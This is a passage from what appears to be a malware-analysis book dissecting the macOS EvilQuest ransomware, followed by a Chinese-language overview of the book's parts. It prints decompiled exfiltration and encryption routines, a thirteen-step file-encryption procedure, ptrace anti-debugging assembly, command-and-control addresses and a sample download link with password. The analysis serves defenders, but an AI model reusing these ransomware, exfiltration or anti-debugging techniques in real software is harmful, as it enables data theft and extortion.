`get_targets` function returns a list of files that match these templates, the malware reads each file’s contents via a call to `lfsc_get_contents` and then exfiltrates the contents to the command and control server using the `ei_forensic_sendfile` function (Listing 11-62): ``` get_targets("/Users", &targets, &count, is_lfsc_target); for (index = 0x0; index < count; ++index) { targetPath = targets[index]; lfsc_get_contents(targetPath, &targetContents, &targetContentSize); ei_forensic_sendfile(targetContents, targetContentSize, ...); ... ``` Listing 11-62: File exfiltration via the `ei_forensic_sendfile` function We can confirm this logic in a debugger by creating a file on the desktop named *key.png* and setting a breakpoint on the call to `lfsc_get_contents` at `0x0000000100001965`. Once the breakpoint is hit, we print out the contents of the first argument (`RDI`) and see that, indeed, the malware is attempting to read and then exfiltrate the *key.png* file (Listing 11-63): ``` # **lldb /Library/mixednkey/toolroomd** ... (lldb) **b 0x0000000100001965** Breakpoint 1: where = toolroomd`toolroomd[0x0000000100001965], address = 0x0000000100001965 (lldb) **c** * thread #4, stop reason = breakpoint 1.1 -> 0x100001965: callq lfsc_get_contents (lldb) **x/s $rdi** 0x1001a99b0: "/Users/user/Desktop/key.png" ``` Listing 11-63: Observing file exfiltration logic via the debugger Now we know that if a user becomes infected with EvilQuest, they should assume that all of their certificates, wallets, and keys belong to the attackers. ## File Encryption Logic Recall that Dinesh Devadoss, the researcher who discovered EvilQuest, noted that the malware contained ransomware capabilities. Let’s continue our analysis efforts by focusing on this ransomware logic. You can find the relevant code from the main function, where the malware invokes a method named `s_is_high_time` and then waits on several timers to expire before kicking off the encryption logic, which begins in a function named `ei_carver_main` (Listing 11-64): ``` if ( (s_is_high_time(var_80) != 0x0) && ( ( (ei_timer_check(var_70) == 0x1) && (ei_timer_check(var_130) == 0x1)) && (var_11C < 0x2))) { ... ei_carver_main(*var_10, &var_120); ``` Listing 11-64: Following timer checks, the `ei_carver_main` function is invoked. Of particular note is the `s_is_high_time` function, which invokes the `time` API function and then compares the returned time epoch with the hardcoded value `0x5efa01f0`. This value resolves to Monday, June 29, 2020 15:00:00 GMT. If the date on an infected system is before this, the function will return a `0`, and the file encryption logic will not be invoked. In other words, the malware’s ransomware logic will only be triggered at or after this date and time. If we take a look at the `ei_carver_main` function’s disassembly at `0x000000010000ba50`, we can see it first generates the encryption key by calling the `random` API, as well as functions named `eip_seeds` and `eip_key`. Following this, it invokes the `get_targets` function. Recall that this function recursively generates a list of files from a root directory by using a specified callback function to filter the results. In this instance, the root directory is */Users*. The callback function, `is_file_target`, will only match certain file extensions. You can find this encrypted list of extensions hardcoded within the malware at `0x000000010001299e`. Using our injectable decryptor library, we can recover this rather massive list of target file extensions, which includes *.zip*, *.dmg*, *.pkg*, *.jpg*, *.png*, *.mp3*, *.mov*, *.txt*, *.doc*, *.xls*, *.ppt*, *.pages*, *.numbers*, *.keynote*, *.pdf*, *.c*, *.m*, and more. After it has generated a list of target files, the malware completes a key-generation process by calling `random_key`, which in turn calls `srandom` and `random`. Then the malware calls a function named `carve_target` on each target file, as seen in Listing 11-65: ``` result = get_targets("/Users", &targets, &count, is_file_target); if (result == 0x0) { key = random_key(); for (index = 0x0; index < count; index++) { carve_target(targets[i], key, ...); } } ``` Listing 11-65: Encrypting (ransoming) target files The `carve_target` function takes the path of the file to encrypt and various encryption key values. If we analyze the disassembly of the function or step through it in a debugging session, we’ll see that it performs the following actions to encrypt each file: 1. Makes sure the file is accessible via a call to `stat` 2. Creates a temporary filename by calling a function named `make_temp_name` 3. Opens the target file for reading 4. Checks if the target file is already encrypted with a call to a function named `is_carved`, which checks for the presence of `0xddbebabe` at the end of the file 5. Opens the temporary file for writing 6. Reads `0x4000`-byte chunks from the target file 7. Invokes a function named `tpcrypt` to encrypt the `0x4000` bytes 8. Writes out the encrypted bytes to the temporary file 9. Repeats steps 6–8 until all bytes have been read and encrypted from the target file 10. Invokes a function named `eip_encrypt` to encrypt keying information, which is then appended to the temporary file 11. Writes `0xddbebabe` to the end of the temporary file 12. Deletes the target file 13. Renames the temporary file to the target file Once EvilQuest has encrypted all files that match file extensions of interest, it writes out the text in Figure 11-2 to a file named *READ_ME_NOW.txt*.  Figure 11-2: EvilQuest’s ransom note To make sure the user reads this file, the malware also displays a modal prompt and reads it aloud via macOS’s built-in `say` command. If you peruse the code, you might notice a function named `uncarve_target`, implemented at `0x000000010000f230`, that is likely responsible for restoring ransomed files. Yet this function is never invoked. That is to say, no other code or logic references this function. You can confirm this by searching Hopper (or another disassembly tool) for references to the function’s address. As no such cross-references are found, it appears that paying the ransom won’t actually get you your files back. Moreover, the ransom note does not include any way to communicate with the attacker. As Phil Stokes put it, “there’s no way for you to tell the threat actors that you paid; no request for your contact address; and no request for a sample encrypted file or any other identifying factor.”^(5) Luckily for EvilQuest victims, researchers at SentinelOne reversed the cryptographic algorithm used to encrypt files and found a method of recovering the encryption key. In a write-up, Jason Reaves notes that the malware writers use symmetric key encryption, which relies on the same key to both encrypt and decrypt the file; moreover, “the cleartext key used for encoding the file encryption key ends up being appended to the encoded file encryption key.”^(6) Based on their findings, the researchers were able to create a full decryptor, which they publicly released. ## EvilQuest Updates Often malware specimens evolve, and defenders will discover new variants of them in the wild. EvilQuest is no exception. Before wrapping up our analysis of this insidious threat, let’s briefly highlight some changes found in later versions of EvilQuest (also called ThiefQuest). You can read more about these differences in a Trend Micro write-up titled “Updates on Quickly-Evolving ThiefQuest macOS Malware.”^(7) ### Better Anti-Analysis Logic The Trend Micro write-up notes that later versions of EvilQuest contain “improved” anti-analysis logic. First and foremost, its function names have been obfuscated. This slightly complicates analysis efforts, as the function names in older versions were quite descriptive. For example, the string decryption function `ei_str` has been renamed to `52M_rj`. We can confirm this by looking at the disassembly in the updated version of the malware (Listing 11-66), where we see that at various locations in the code, `52M_rj` takes an encrypted string as its parameter: ``` 0x00000001000106a5 lea rdi, qword [a2aawvq0k9vm01w] ; "2aAwvQ0k9VM01w..." 0x00000001000106ac call 52M_rj ... 0x00000001000106b5 lea rdi, qword [a3zi8j820yphd00] ; "3zI8J820YPhd00..." 0x00000001000106bc call 52M_rj ``` Listing 11-66: Obfuscated function names A quick triage of the `52M_rj` function confirms it contains the core logic to decrypt the malware’s embedded strings. Another approach to mapping the old version of functions to their newer versions is by checking the system API calls they invoke. Take, for example, the `NSCreateObjectFileImageFromMemory` and `NSLinkModule` APIs that `EvilQuest` invokes as part of its in-memory payload execution logic. In the old version of the malware, we find these APIs invoked in a descriptively named function `ei_run_memory_hrd`, found at address `0x0000000100003790`. In the new version, when we come across a cryptically named function `52lMjg` that invokes these same APIs, we know we’re looking at the same function. In our disassembler, we can then rename `52lMjg` to `ei_run_memory_hrd`. Moreover, in the old version of the malware, we know that the `ei_run_memory_hrd` function was invoked solely by a function named `react_exec`. You can check this by looking for references to the function in Hopper (Figure 11-3).  Figure 11-3: Cross-references to the `ei_run_memory_hrd` function Now we can posit that the single cross-reference caller of the `52lMjg` function, named `52sCg`, is actually the `react_exec` function. This cross-reference method allows us to easily replace the non-descriptive names found in the new variant with their far more descriptive original names. The malware authors also added other anti-analysis logic. For example, in the `ei_str` function (the one they renamed `52M_rj`), we find various additions, including anti-debugger logic. The function now makes a system call to `ptrace` (`0x200001a`) with the infamous `PT_DENY_ATTACH` value (`0x1f`) to complicate debugging efforts (Listing 11-67): ``` 52M_rj: 0x0000000100003020 push rbp 0x0000000100003021 mov rbp, rsp ... 0x0000000100003034 mov rcx, 0x0 0x000000010000303b mov rdx, 0x0 0x0000000100003042 mov rsi, 0x0 0x0000000100003049 mov rdi, 0x1f 0x0000000100003050 mov rax, 0x200001a 0x0000000100003057 syscall ``` Listing 11-67: Newly added anti-debugging logic Trend Micro also notes that the detection logic in the `is_virtual_mchn` function has been expanded to more effectively detect analysts using virtual machines. The researchers write, > In the function `is_virtual_mchn()`, condition checks including getting the MAC address, CPU count, and physical memory of the machine, have been increased.^(8) ### Modified Server Addresses Besides updates to anti-analysis logic, some of the strings found hardcoded and obfuscated in the malware’s binary have been modified. For example, the malware’s lookup URL for its command and control server and backup address have changed. Our injectable decryption library now returns the following for those strings: ``` % **DYLD_INSERT_LIBRARIES=/tmp/decryptor.dylib OSX.EvilQuest_UPDATE** ... decrypted string (0x106e9e154): lemareste.pythonanywhere.com decrypted string (0x106e9f7ca): 159.65.147.28 ``` ### A Longer List of Security Tools to Terminate The list of security tools that the malware attempts to terminate has been expanded to include certain Objective-See tools created by yours truly. As these tools have the ability to generically detect EvilQuest, it is unsurprising that the malware now looks for them (Listing 11-68): ``` % **DYLD_INSERT_LIBRARIES=/tmp/decryptor.dylib OSX.EvilQuest_UPDATE** ... decrypted string (0x106e9f964): ReiKey decrypted string (0x106e9f978): KnockKnock ``` Listing 11-68: Additional “unwanted” programs, now including my very own ReiKey and KnockKnock ### New Persistence Paths Paths related to persistence have been added, perhaps as a way to thwart basic detection signatures that sought to uncover EvilQuest infections based on the existing paths (Listing 11-69): ``` % **DYLD_INSERT_LIBRARIES=/tmp/decryptor.dylib OSX.EvilQuest_UPDATE** ... decrypted string (0x106e9f2ed): /Library/PrivateSync/com.apple.abtpd decrypted string (0x106e9f331): abtpd decrypted string (0x106e9f998): com.apple.abtpd ``` Listing 11-69: Updated persistence paths ### A Personal Shoutout Recall that the `react_ping` command expects a unique string from the server. If it receives this string, it returns a success. In the updated version of EvilQuest, this function now expects a different encrypted string: `"1D7KcC3J{Quo3lWNqs0FW6Vt0000023"`, which decrypts to “Hello Patrick” (Figure 11-4).^(9)  Figure 11-4: An interesting observation Apparently the EvilQuest authors were fans of my early “OSX.EvilQuest Uncovered” blog posts!^(10) ### Better Functions Other updates include improvements to older functions, particularly those that weren’t fully implemented as well as many new functions: * `react_updatesettings`: Used for retrieving updated settings from the command and control server * `ei_rfind_cnc` and `ei_getip`: Generates pseudo-random IP addresses that will be used as the command and control server if they’re reachable * `run_audio` and `run_image`: First saves an audio or image file from the server into a hidden file and then runs the `open` command to open the file with the default applications associated with the file ### Removed Ransomware Logic Interestingly the Trend Micro researchers also noted that a later version of EvilQuest removed its ransomware logic. This may not be too surprising; recall that the ransomware logic was flawed, allowing users to recover encrypted files without having to pay the ransom. Moreover, it appeared that the malware authors reaped no financial gains from this scheme. Phil Stokes wrote that “the one known Bitcoin address common to all the samples has had exactly zero transactions.”^(11) In their report, the Trend Micro researchers argue that the malware authors are likely to release new versions of EvilQuest: > Newer variants of [the EvilQuest malware] with more capabilities are released within days. Having observed this, we can assume that the threat actors behind the malware still have many plans to improve it. Potentially, they could be preparing to make it an even more vicious threat. In any case, it is certain that these threat actors act fast, whatever their plans. Security researchers should be reminded of this and strive to keep up with the malware’s progress by continuously detecting and blocking whatever variants cybercriminals come up with.^(12) As a result, we’re likely to see more from EvilQuest! ## Conclusion EvilQuest is an insidious multifaceted threat, armed with anti-analysis mechanisms aimed at thwarting any scrutiny. However, as illustrated in the previous chapter, once such mechanisms are identified, they are rather trivial to wholly circumvent. With the malware’s anti-analysis efforts defeated, in this chapter we turned to a myriad of static and dynamic analysis approaches to uncover the malware’s persistence mechanisms and gain a comprehensive understanding of its viral infection capabilities, file exfiltration logic, remote tasking capabilities, and ransomware logic. In the process, we highlighted how to effectively utilize, in conjunction, arguably the two most powerful tools available to any malware analyst: the disassembler and the debugger. Against these tools, the malware stood no chance! ## Endnotes***
第一部分
Mac 恶意软件基础
在我们深入探讨高级恶意软件分析话题之前,理解 Mac 恶意软件的基本概念至关重要。在本书的第一部分,我们将探讨这些基础知识,包括:
-
感染途径: 恶意软件获取初始系统访问权限的手段。尽管大多数 Mac 恶意软件依赖各种社会工程学方案,但其他更复杂且有效的隐蔽感染系统的方法正在日益流行。
-
持久性方法: 恶意软件确保其在操作系统中会自动重新执行的手段,通常是在系统启动或用户登录时。尽管攻击者通常滥用少数几种方法,但我们将讨论恶意软件通过一系列隐蔽方式实现持久性的手段。
-
功能: 恶意软件的有效载荷,用于实现其目标。网络犯罪分子通常创建恶意软件以追求经济利益,而国家支持的网络间谍软件则旨在窃取用户信息。我们将探讨这两者。
第二部分
Mac 恶意软件分析
现在你已经了解了 Mac 恶意软件的感染途径、持久化机制和能力,让我们讨论如何有效分析恶意样本。我们将介绍静态和动态两种分析方法:
-
静态分析: 在不执行样本的情况下对其进行检查。这种方法使用各种工具,从样本中静态提取信息。通常,分析的最后会使用反汇编器或反编译器。
-
动态分析: 在样本执行过程中对其进行检查。这种方法通常使用被动监控工具,尽管也可能使用更强大的工具,如调试器。
使用这些分析技术,我们将确定样本是否确实是恶意的,如果是的话,回答以下问题:它使用什么感染途径来感染 Mac?它是否使用任何持久化机制来保持访问权限?它的最终目标和能力是什么?
通过回答这些问题,我们可以准确地确定恶意软件对 Mac 用户构成的威胁,并且可以创建检测、防御和消毒机制来抵御它。
第三部分
分析 EvilQuest
是时候将“熟能生巧”这句普遍格言付诸实践了。在本书的第三部分,你将应用第一和第二部分中学到的所有知识,彻底分析这款名为 EvilQuest 的有趣 Mac 恶意软件样本。该恶意软件于 2020 年夏季被发现,起初看起来不过是一个普通的勒索软件。然而,进一步的分析揭示了一个更加复杂的事实。
通过跟随我一起进行分析,你将从本节内容中获得最大收获。首先,确保你已经创建了一个安全的分析环境;返回本书的介绍部分,查看相关指南。然后,从 Objective-See 的 Mac 恶意软件库下载 EvilQuest 样本,链接:objective-see.com/downloads/malware/EvilQuest.zip. 使用密码infect3d解密恶意样本。
准备好一起深入探讨了吗?我们出发吧!


浙公网安备 33010602011771号